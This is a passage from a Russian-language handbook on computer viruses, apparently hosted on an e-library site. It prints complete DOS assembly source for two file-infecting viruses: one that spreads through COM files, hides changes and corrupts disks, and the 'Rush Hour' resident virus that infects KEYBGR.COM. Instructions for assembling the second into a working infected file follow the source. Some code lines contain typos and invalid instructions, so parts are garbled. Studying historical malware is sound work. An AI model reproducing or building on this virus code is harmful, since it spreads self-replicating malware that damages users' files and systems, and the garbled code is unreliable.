Купить
 
 
Жанр: Учеба

Большой справочник по компьютерным вирусам

страница №14

inc bx
mov cs:counter,bx

- 177 -


;*****************************************************************
; Найти первый СОМ-файл в актуальном каталоге. Если файл не
; найден, искать в следующем каталоге.
;*****************************************************************
find_first_file
mov ah,04eh ; поиск по первой
mov cx,00000001b ; mask
lea dx,maske_com ;
int 21h ;
jc find_first_subdir
jmp check_if_ill
;*****************************************************************
; Если программа уже инфицирована, искать следующую программу
;*****************************************************************

find_next_file:
mov ah,4fh ; поиск следующего
int 21h
jc find_first_subdir:
;*****************************************************************
; Проверить "заражена" ли уже программа эти вирусом.
;*****************************************************************
check_if_ill:
mov ah,4fh ; открыть канал ввода/вывода
mov a1,02h ; чтение/запись
mov dx,9eh ; адрес имени в dta
int 21h
mov bx,ax ; сохранить состояние канала
; ввода/вывода
mov ah,3fh ; считать файл
mov cx,buflen ;
mov dx,buffer ; запись в буфер
int 21h
mov ah,3eh ; закрыть файл
int 21h
;*****************************************************************
; Здесь поиск ведется по трем операторам "вируса".
; Если такие операторы есть, инфекция уже существует. Затем
; продолжить поиск.

- 178 -


;*****************************************************************
mov bx,cs:buffer
cmp bx,9090h
jz find_next_file
;*****************************************************************
; Удалить возможно существующую защиту записи
;*****************************************************************

mov ah,43h ; разрешить запись
mov a1,0
mov dx,9eh ; адрес имени в таблице dta
int 21h
mov ah,43h
mov a1,01h
and cx,11111110b
int 21h
;*****************************************************************
; Открыть файл для чтения/записи
;*****************************************************************
mov ah,3dh ; открыть канал ввода/вывода
mov a1,02h ; чтение/запись
mov dx,9eh ; адрес имени в
int 21h
;*****************************************************************
; Считать запись даты файла и сохранить для дальнейшего ее
; использования.
;*****************************************************************
mov bx,ax ; канал ввода/вывода
mov ah,57h ; считать значение даты
mov a1,0
int 21h
push cx ; сохранить дату
push dx
;*****************************************************************
; Безусловный переход, записанный по адресу 0100h программы,
; также сохраняется для дальнейшего использования.

;*****************************************************************
mov dx,cs: conta ; сохранить прежний безусловный
mov cs:jmpbuf,dx ; переход

- 179 -


mov dx,cs: buffer+1 ; сохранить новый переход
lea cx,cont-100h
sub dx,cx
mov cs: conta,dx
;*****************************************************************
; "Вирус" копирует сам себя в начало файла
;*****************************************************************

mov ah,40h ; запись вируса
mov cx,buflen ; длина буфера
lea dx,main ; запись вируса
int 21h
;*****************************************************************
; Вновь записывается прежняя дата создания файла.
;*****************************************************************
mov ah,57h ; запись даты
mov a1,1
pop ds
pop cs ; восстановить дату
int 21h
;*****************************************************************
; Закрыть файл.
;*****************************************************************
mov ah,3eh ; закрыть файл
int 21h
;*****************************************************************
; Восстановить прежний адрес перехода. Соответственно, вирус
; сохраняет по адресу переход, который стоял в начале
; программы-носителя вируса. В результате работоспособность
; программы-носителя удается сохранить, насколько это возможно.
; Но после обращения к памяти работа продолжается с записанным
; в "вирусе" адресом перехода. Итак, "вирус" располагается в
; оперативной памяти иначе, чем в том случае, если бы он
; копировался в программу.
;*****************************************************************
mov dx,cs:jmpbuf ; восстановить прежний адрес
; перехода
mov cs: conta,dx
hops: nop

- 180 -


call use_old
;*****************************************************************
; Продолжить выполнение программ-носителя вируса.
;*****************************************************************

cont db 0e9h ; выполнить переход
conta dw 0
mov ah,00
int 21h
;*****************************************************************
; Вновь активизировать выбранный в начале программы дисковод.
;*****************************************************************

use_old:
mov ah,0eh ; использовать прежний дисковод
mov d1,cs:drive
int 21h
;*****************************************************************
; Вновь активизировать, выбранный в начале программы путь
; доступа
;*****************************************************************
mov ah,3bh ; использовать прежний каталог
lea dx,old_path-1 ; прочитать прежний путь
; доступа
int 21h ; и наклоную черту
ret
search_order db 0ffh,1,0,2,3,0ffh,00,0ffh
pointer dw 0000 ; указатель пути доступа
counter dw 0000 ; счетчик числа поисков
disks db 0 ; номер диска

maske_com db "*.com",00 ; поиск сом-файла
maske_dir db "*",00 ; поиск каталога
maske_exe db 0ffh,0,0,0,0,0,00111111b
db 0, "????????exe", 0, 0, 0, 0
db 0, "????????com",0
maske_all db 0ffh,0,0,0,0,0,00111111b
db 0, "???????????", 0, 0, 0, 0
db 0, "????????com",0

- 181 -


buffer equ 0e000h ; отвести место
buflen equ 230h ; длина вируса !!!!
; будьте внимательны
; при изменениях !!!!

jmpbuf equ buffer+buflen ; отвести место под jmp
path db " ",0 ; первый путь доступа
drive db 0 ; актуальный дисковод
back_slash db " "
old_path db 32 dup(?) ; прежний путь доступа

code ends
end main

Характеристики программы

Если запускается эта программа, то вначале инфицируется
первый СОМ-файл в главном каталоге. В данном случае таким файлом
является файл CHKDSK.COM.

Katalog von A:\

CHKDSK COM 9947 4-22-85 12:00p
COMP COM 3751 4-22-85 12:00p
DEBUG COM 15611 4-22-85 12:00p
DISKCOMP COM 4121 4-22-85 12:00p
DISKCOPY COM 4425 4-22-85 12:00p
SORT EXE 1664 4-22-85 12:00p
SHARE EXE 8304 4-22-85 12:00p
SUBST EXE 16627 4-22-85 12:00p
8 Dateien 268288 Bytes frei

Каталог после вызова программы:

Katalog von A:\

CHKDSK COM 9947 4-22-85 12:00p

- 182 -


COMP COM 3751 4-22-85 12:00p
DEBUG COM 15611 4-22-85 12:00p
DISKCOMP COM 4121 4-22-85 12:00p
DISKCOPY COM 4425 4-22-85 12:00p
SORT EXE 1664 4-22-85 12:00p
SHARE EXE 8304 4-22-85 12:00p
SUBST EXE 16627 4-22-85 12:00p
8 Dateien 268288 Bytes frei

По записям в каталоге нельзя увидеть никаких изменений. Но
если сделать шестнадцатиричную распечатку содержимого программы
CHKDSK.COM, мы обнаружим запись байта идентификатора , который в
данном случае состоит из трех операторов NOP (HEX 90).
Шестнадцатиричная распечатка перед вызовом программы выглядит
так:

0100 e9 65 26 43 6F 6E 76 65 72 74 65 64 00 00 00 00
. e & C o n v e r t e d . . . .

После вызова программы получим такую шестнадцатиричную распечатку:


0100 90 90 90 B8 00 00 26 00 A3 A5 02 26 A3 A7 02 26 A2
. . . . . . & . . . & . . . & .

Если такая инфицированная программа запускается, то вначале
происходит "размножение" вируса, после завершения которого дальнейший
ход выполнения программы нельзя предсказать. После запуска
CHKDSK вначале отказывает система, что сопровождается рядом эффектов
на экране дисплея. Теперь программа СОМР также заражена.

Процесс распространения инфекции продолжается до тех пор, пока не
будут заражены все СОМ-файлы. Следующий вызов программы приводит
к изменениям в каталоге:

Katalog von A:\

CHKDSK COM 9947 4-22-85 12:00p
COMP COM 3751 4-22-85 12:00p
DEBUG COM 15611 4-22-85 12:00p

- 183 -


DISKCOМР COM 4121 4-22-85 12:00p
DISKCOPY COM 4425 4-22-85 12:00p
SORT COM 1664 4-22-85 12:00p
SHARE COM 8304 4-22-85 12:00p
SUBST COM 16627 4-22-85 12:00p
8 Dateien 268288 Bytes frei

Как можно видеть, все файлы .ЕХЕ преобразованы в СОМ-файлы,
а потому также могут быть заражены вирусом. Кроме того, задание
на выполнение манипуляций, присущих данному вирусу, может разрушить
секторы диска. После нескольких вызовов зараженных программ
содержимое каталога А: будет выглядеть таким образом:

Katalog von A:\
@'¦ФI = "
0428923032 5-10-96 5:37a
_a .е_07 . f_27836194 5-20-12 12:20a
2.8 Dateien 253952 Bytes frei

Разрушение оказывается неустранимым, особенно если в главном
каталоге первым СОМ-файлом оказывается файл СOMMAND.COM. При
каждой попытке выполнить начальную загрузку происходит разрушение
системы. Естественно, что перед отказом системы инфекция поражает
еще один файл.
Вторая программа-вирус, приведенная в этой главе, составлена
Берндом Фиксом, который тоже уже долгое время занимается проблемами
компьютерных вирусов. Речь идет об уже многократно упоминавшемся
вирусе "Rush Houp" ("час пик").

Назначение и структура вируса "час-пик"

Программа-вирус "час пик" написана в качестве программы для
демонстрации действия компьютерных вирусов. Она убедительно (но
достаточно безобидно для операционной системы) демонстрирует тот
вред, который может нанести вирус. Опасность вирусов демонстрируется
не на примере уничтожения всех файлов на жестком диске.
пользователю наглядно показывается, как коварно и незаметно может
распространяться вирус в ЭВМ. Потому при разработке программы
решающее значение имели следующие пункты:

- 184 -


1. Вирус должен был работать как можно незаметнее, т.е. без
обращений к дискетам или винчестеру, которые внимательному
(!!) пользователю кажутся нелогичными.
2. Абсолютно все работавшие прежде на ЭВМ программы должны и в
дальнейшем работать нормально.
3. Вирус должен размножаться контролируемым образом, т.е. он
должен "цепляться" не к каждой программе, не обнаруживая
своего присутствия тем, что дискета/диск начинает вдруг
заполняться.
4. Вирус должен проявить свою активность лишь спустя определен-
ное время, чтобы замаскировать источник появления вируса
(т.е. программу, "занесшую" этот вирус).
5. Активность вируса не должна была ни в коей степени повре-
дить пользователю ПЭВМ в результате уничтожения программ или
данных или в результате выполнения над ними каких-либо мани-
пуляций.
Вначале была идея создания вируса, который мог бы присоединяться
к каждой работоспособной программе (.COM или .ЕХЕ). Но
затем от этого отказались по следующим причинам:

1. Файлы .СОМ и .ЕХЕ различны по своей структуре. Программа-
вирус должна различать эти два типа файлов и адаптироваться
к их структуре. А это требует слишком много места в памяти
для вируса.

2. Внедрение вируса во многие файлы заметна из-за увеличившейся
потребности в памяти.
Потому пошли по такому пути:
Вирус внедряется только в одну определенную программу, необходимую
ПЭВМ, т.е. в операционную систему или в ее часть. Для
таких целей был внедрен драйвер клавиатуры KEYBGR.COM. Причина
этого выбора в том, что большинство совместимых с IBM PC ПЭВМ
работают не с PC-DOS 2.0, а с (почти!) идентичной системой MSDOS
2.11. Этой операционной системой с соответствующим драйвером
клавиатуры была снабжена "Оливетти М24", обладающая по сравнению
с IBM PC более сложной клавиатурой. Следовательно, если запускать
драйвер клавиатуры на IBM, это будет чистым расточительством,
поскольку собственно необходимый для этой ПЭВМ драйвер занимает
лишь 1543 байта, в то время как запускаемый драйвер имеет

- 185 -


длину 6459 байт. Следовательно, можно просто внедрить в драйвер
IBM программу-вирус и драйвер будет занимать примерно 2000 байт,
после чего его можно "дополнить" до "необходимых" 6459 байтов
(поместив, например, сюда текст длиной 4500 байтов о вреде компьютерных
вирусов). Вирус готов!
Вирус, если он в системе, при каждом генерируемом пользователем
обращении к диску/винчестеру отыскивает в актуальном каталоге
драйвер клавиатуры. Инфицированный драйвер отличается от
"чистого" по времени внесения последнего изменения в файл
KEYBGR.COM. Файл MS-DOS имеет время 9:00:03 (на дисплее это выглядит
как 9:00), а инфицированный файл снабжается временем внесения
изменения 9:00:00. Итак, это отличие можно установить лишь
при записи в каталоге без длительных обращений к дискетам.
Вся прочая важная информация дается в комментариях:

PAGE 72,132
TITL Virus "RUSH ROUR" (p) foxi, 1986

NAME VIRUS

ABSO SEGMENT AT 0
ORG 4*10H
VIDEO_INT DW 2 DUP (?) ; вектор прерывания
; VIDEO
ORG 4*21H
DOS_INT DW 2 DUP (?) ; DOS -"-
ORG 4*21H
ERROR_INT DW 2 DUP (?) ; ERROR -"-
ENDS

CODE SEGMENT
ASSUME CS:CODE, DS:CODE, ES:CODE
ORG 05CH
FSB LABEL BYTE
DRIVE DB ?
FSPEC DB 11 DUP(' ') ; имя файла
ORG 6CH
FSIZE DW 2 DUP (?)
FDATE DW ? ; дата внесения

- 186 -


; последней записи
FTIME DW ? ; время -"- -"-
ORG 8OH
DTA DW 128 DUP(?) ; область передачи
; данных диска

ORG 071EH ; конец обычного
; файла
; KEYBGR.COM
XOR AX,AX
MOV ES,AX ; ES указывает на
; ABSO
ASSUME ES:ABSO
PUCH CS
POP DS
MOV AX,VIDEO_INT ; хранящиеся в памяти
; старые векторы
; прерывания
MOV BX,VIDEO_INT+2
MOV word ptr VIDEO_VECTOR,AX
MOV word ptr VIDEO_VECTOR+2,BX
MOV AX,DOS_INT
MOV BX,DOS_INT+2
MOV word ptr DOS_VECTOR,AX
MOV word ptr DOS_VECTOR+2,BX
CLI
MOV DOS_INT,OFFSET VIRUS ; новый вектор DOS
; указывает на
; VIRUS
MOV DOS_INT+2,CS
MOV VIDEO_INT,OFFSET DISEASE ; вектор VIDEO
; указывает на
; DISEASE
MOV VIDEO_INT+2,CS
STI

MOV AH,0
INT 1AH ; считать
; TimeOfDay

- 187 -


; (TOO)
MOV TIME_0,DX

LEA DX,VIRUS_ENDE
INT 27H ; программа
; завершается,
; но остается
; резидентом
VIDIO_VECTOR Dd (?)
DOS_VECTOR Dd (?)
ERROR_VECTOR DW 2 DUP(?)
TIME_0 DW ?

;
; Основная часть программы VIRUS :
;
; 1. Вызов системы AH=4BH ?
; Нет:---" 2.
; Да : Проверить KEYBGR.COM на указанном дисководе
; Файл уже заражен ?
; Да : ---" 3.
; Нет: внести вирус!
;
; 2. Передача управления в обычный DOS
;
RNDVAL DB 'bfhg' ; неактивен
ACTIVE DB 0 ; самый первый вирус
PRESET DB 0 ; неактивен!

DB 'A:'
FNAME DB 'KEYBGR COM'
DB 0

VIRUS PROC FAR
ASSUME CS:CODE, DS:NOTHING, ES:NOTHING

PUSH AX
PUSH CX
PUSH DX

- 188 -


MOV AH,0 ; проверить , прошло ли по
; крайней мере 15 мин.
INT 1AH ; с момента инициализации
SUB DX,TIME_0 ; (16384 такта датчика
CMP DX,16384 ; времени =15 мин.)

JL $3
MOV ACTIVE,1 ; если да, активизировать
; вирус

$3: POP DX
POP CX
POP AX
; доступ к дискете через
; команду
CMP AX,4B00H ; DOS
JE $1 ; "загрузить и выполнить
; программу"

EXIT_1: JMP DOS_VECTOR ; Нет : ---" обычное положение

$1: PUSH ES ; ES:BS ---" блок параметров
PUSH BX ; DS:DX ---" имя файла
PUSH DX ; сохраненные регистры, которые
; пока не нужны для INT 21H
PUSH DX ; (AH=4BH)
MOV DI,DX
MOV DRIVE,0 ; Задать дисковод для
MOV AL,DS: DI+1 ; подлежащей исполнению
; программы
CMP AL,':'
JNE $5
MOV AL,DS: DI
SUB AL, 'A'-1
MOV DRIVE,AL

$5:
CLD

- 189 -


PUSH CS
POP DS
XOR AX,AX
MOV ES,AX
ASSUME DS: CODE, ES:ASSO
MOV AX,ERROR_INT ; проигнорировать все
; "ошибки" дискеты с
MOV BX,ERROR_INT+2 ; помощью собственной
; программы обработки
; ошибок
MOV ERROR_VECTOR,AX
MOV ERROR_VECTOR+2,BX
MOV ERROR_INT,OFFSET ERROR
MOV ERROR_INT+2,CS

PUSH CS
POP ES
ASSUME ES:CODE
LEA DX,DTA ; область передачи данных
; диска выбрать
MOV AH,1AH
INT 21H

MOV BX,11 ; передать имя файла
$2:
MOV AL,FNAME-1 BX
MOV FSPEC-1 BX,AL ; в блок управления
; файлом
DEC BX
JNZ $2

LEA DX,FCB ; открыть файл (для
MOV AH,0FH ; записи)
INT 21H
CMP AL,0
JNE EXIT_0 ; файл не существует
;---" завершение
mov byte ptr fcb+20h,0 ;


- 190 -


MOV AX,FTIME ; файл уже заражен?
CMP AX,4800H
JE EXIT_0 ; Да ---" завершение

MOV PRESET,1 ; ( все копии
; заражены!)
MOV SI,100H ; записать вирус
; в файл
$4:
LEA DI,DTA
MOV CX,128
REP MOVSB
LEA DX,FCB
MOV AH,15H
INT 21H
CMP SI,OFFSET VIRUS_ENDE
JL $4
MOV FSIZE,OFFSET VIRUS_ENDE-100H
MOV FSIZE+2,0 ; задать корректный
; размер файла
MOV FDATE,0AA3H ; задать корректную
; дату(03.05.86)
MOV FTIME,4800H ; задать корректное
; время (09:00:00)
LEA DX,FCB ; закрыть файл
MOV AH,10H
INT 21H
XOR AX,AX
MOV ES,AX
ASSUME ES:ABSO

MOV AX,ERROR_VECTOR ; сбросить прерывание
; по ошибке
MOV BX,ERROR_VECTOR+2
MOV ERROR_INT,AX
MOV ERROR_INT+2,BX

EXIT_0:
POP DX ; восстановить значение

- 191 -


; сохраненного регистра
POP DS
POP BX
POP ES
ASSUME DS:NOTHING, ES:NOTHING
MOV AX,4B00H
JMP DOS_VECTOR ; нормальное выполнение
; функции
VIRUS ENDS

ERROR PROC FAR
IRET ; просто игнорировать
; все ошибки
ERROR ENDP

DISEASE PROC FAR

ASSUME DS:NOTHING, ES:NOTHING
PUSH AX
PUSH CX ; этот регистр
; разрушается !
TEST PRESET,1
JZ EXIT_2
TEST ACTIVE,1
JZ EXIT_2

IN AL,61H ; включить динамик
AND AL,0FEH ; (бит 0:=0)
OUT 61H,AL

MOV CX,3 ; счетчик циклов СХ

NOISE:
MOV AL,RNDVA ; :
XOR AL,RNDVAL+3 ; :
SHL AL,1 ; сгенерировать шум
SHL AL,1 ; :
RCL WORD PRT RNDVAL,1 ; :
RCL WORD PRT RNDVAL+2,1 ; :

- 192 -


MOV AH,RNDVAL
AND AH,2 ; вывод любого
IN AL,61H ; бита сдвигового
AND AL,OFDH ; регистра с
OR AL,AH ; положительной
OUT 61H,AL ; обратной связью
LOOP NOISE ;---" динамик шумит

AND AL,OFCH ; динамик отключить
OR AL,1
OUT 61H,AL

EXIT_2:
POP CX
POP AX
JMP VIDEO_VECTOR ; переход в обычную
; программу
DISEASE ENDP
DB 'Эта программа является так называемой программой-'
DB 'вирусом. Однажды активированная, она берет под '
DB 'свой контроль все системные устройства и даже '
DB 'выбранную пользователем запоминающую среду. Она '
DB 'самостоятельно копируется в пока незараженную '
DB 'операционную систему и тем самым распространяется'
DB 'бесконтрольно. В этом случае вирус не разрушает '
DB 'программы пользователя или запоминающую среду, '
DB 'а лишь проявляет "филантропические" наклонности '
DB 'своего создателя...'

ORG 1C2AH
VIRUS_ENDE LABEL BYTE

CODE ENDS
END

Как получить работоспособную программу:

1. исходную программу ассемблировать и линковать (связать)

- 193 -


2. Переименовать EXE-файл в СОМ-файл!
3. Загрузить переименованный ЕХЕ-файл в DEBUG
4. Уменьшить значение регистра СХ на 300Н
5. С помощью команды "w" записать в СОМ-файл на диск
6. Загрузить СОМ-файл с вирусом в DEBUG
7. Дозагрузить КЕУBGR.COM
8. Следующим образом изменить адрес 71Еh
71EH: 33 CO 8E 0E 1F 26
9. Записать файл КЕУBGR.COM длиной 1В2А на диск.

На вопросы относительно программы "час пик" Вам ответить ее
создатель Б. Фикс, если Вы обратитесь по адресу:
B.Fix, Marienburger Str.1; 6900 Heidelberg-Kichheim

Следующая написанная Б.Фиксом программа-вирус работает в
среде операционной системы MVS/370 на IBM 30хх, написана на
ассемблере OS/VS2 и может быть использована описанным ниже способом.

Поскольку такого рода программа не должна распространяться
бесконтрольно, покупателю придется пойти на некоторые уступки:
1. Прислать письменный запрос по адресу:
B.Fix
Marienburgerst. 1
6900 Heidelberg
2. Отправитель запроса получит свой заказ с доставкой на дом,
приняв на себя обязательства ни в какой форме не передавать
никому распечатку программы.
3. Получатель оба договора отправляет по указанному адресу.
4. После поступления договоров и оплаченного счета автору прог-
раммы покупатель получит один экземпляр договора и распечат-
ку программы.
Мы просим Вас с пониманием отнестись к этому несколько необычному
порядку выполнения заказа, поскольку он вызван причинами
чрезвычайно сложного устранения последствий внедрения вируса в
такого рода машиннвх.
Теперь о том, как Б.Фикс описывает VP/360: "Прежде всего
программа должна позволить на конкретном примере получить представление
о принципе работы компьютерных вирусов системным программистам,
никогда ранее не имевшим опыта общения с ними. Правда,

- 194 -


для этого требуется иметь определенное представление о компьютерах
серии IBM 30хх и об операционной системе MVS/370, поскольку
программа, используемая здесь в качестве объекта для демонстрации
работы компьютерных вирусов, написана на ассемблере OS/VS2 и
отлажена на этом компьютере. И хотя речь идет только о "тестовой
" версии вируса, при постановке программы должны непременно соблюдаться
следующие усло

Список страниц

Закладка в соц.сетях

Купить

☏ Заказ рекламы: +3805044-68-872

© Ассоциация электронных библиотек Украины

☝ Все материалы сайта (включая статьи, изображения, рекламные объявления и пр.) предназначены только для предварительного ознакомления. Все права на публикации, представленные на сайте принадлежат их законным владельцам. Просим Вас не сохранять копии информации.